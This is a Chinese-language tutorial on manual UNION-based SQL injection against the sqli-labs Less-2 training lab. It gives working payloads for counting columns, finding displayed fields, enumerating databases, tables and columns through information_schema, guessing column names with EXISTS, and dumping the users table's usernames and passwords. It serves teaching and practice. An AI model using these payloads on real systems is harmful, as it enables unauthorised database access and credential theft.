sql注入之手工注入樣本詳解,sql注入樣本詳解
前言
這篇文章就是一個最基本的SQl手工注入的過程了。基本上在sqlilabs上面的實驗,如果知道了其中的全部知識點,都可以通過以下的步驟進行脫褲。下面的這個步驟也是其他的脫褲手段的基礎。如果想要精通SQL注入,那麼這個最基本的脫褲步驟是必須瞭解和掌握的。
為了方便說明,我們還是用之前的數字型的注入點為例來進行說明。
得到欄位總數
在前面的介紹中,我們已經知道在http://localhost/sqlilabs/Less-2/?id=1id
是一個注入點。
背景SQL語句的寫法大致為
select username,password,[....] from table where id=userinput
那麼我們通過使用order by
的語句來判斷select
所查詢欄位的數目。
那麼payload變為:
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
當使用order by 4
時程式出錯,那麼select
的欄位一共是3個。
得到顯示位
在頁面上會顯示從select
中選取的欄位,我們接下來就是要判斷顯示的欄位是哪幾個欄位。
使用如下的payload(兩者均可)進行判斷。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3
當使用個如上的payload時,頁面的顯示如下:
通過如上的頁面顯示就可以知道,頁面中顯示的是第2位和第3位的資訊。
查選庫
在知道了顯示位之後,那麼接下來就可以通過顯示位來顯示我們想知道的資訊,如資料庫的版本,使用者資訊等等。那麼我們使用如下的payload就可以知道相關的資訊。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()
此時頁面的顯示為:
可以看到在頁面上就出現了資料庫的版本資訊和當前使用的資料庫資訊。
那麼接下來我們通過這種方式知道資料庫中所有的資料庫的名稱。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到第一個庫名http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二個庫名...
查選表名
由於database()
返回的就是當前web程式所使用的資料庫名,那麼我們就利用database()
來查詢所有的表資訊。當然在上一步中。我們也已經知道當前的database
就是security
。
那麼我們構造的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
這樣我們就得到當前資料庫下所有的表名了。頁面返回的結果是:
所以我們知道在當前的資料庫中存在4張表,分別是emails,referers,uagents,users
。
查選列名
在知道了表名之後,接下來我們利用information_schema.columns
就可以根據表名來擷取當前表中所有的欄位。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進位)
頁面的顯示結果如下:
通過這個語句,我們就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password
這些欄位。但是我本地測試的測試的時候,這個存在一個問題,實際上在security資料庫的users的表中,只有id,username,password
這3個欄位,其他的欄位都是其他資料庫的中users表的欄位名。
通過上面的payload,我們也同樣可以知道在emails,referers,uagents
中的欄位名稱。
但是有的時候背景代碼可能僅用了使用where
子句,那麼這個時候就無法通過information_schema.coumns
來得到列名了,這個時候只能夠根據你自己多年的駭客經驗來進行猜解了。猜解的方法也是比較的簡單,使用exists
子句就可以進行猜解了。假設在我們已經知道了表名的情況下(當然猜解表名也使用通過exists子句來完成)。
猜解的語句如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
主要的語句就是exists(select 需要猜解的列名 from users)
這種句式。如果在users表中不存在uname
列名,則頁面不會顯示內容或者是直接出現sql的錯誤語句。
如下如所示:
下面這個就是猜解到了users表中存在的欄位。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
猜測在users表中存在username
列,上面的語句程式可以正常第返回結果,那麼壽命在users表中確實存在username
列名。
脫褲
在知道了當前資料庫所有的表名和欄位名之後,接下來我們就可以dump資料庫中所有的資訊了。比如我們下載當前users表中所有的資料。
可以使用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中所有的username
和password
的資料了,通過這種方式也能夠得到其他表中的資料了。
總結
以上就是說sql手工注入的完整樣本介紹,不知道大家都學會了?小編還需繼續更新關於sql注入的文章,請繼續關注幫客之家。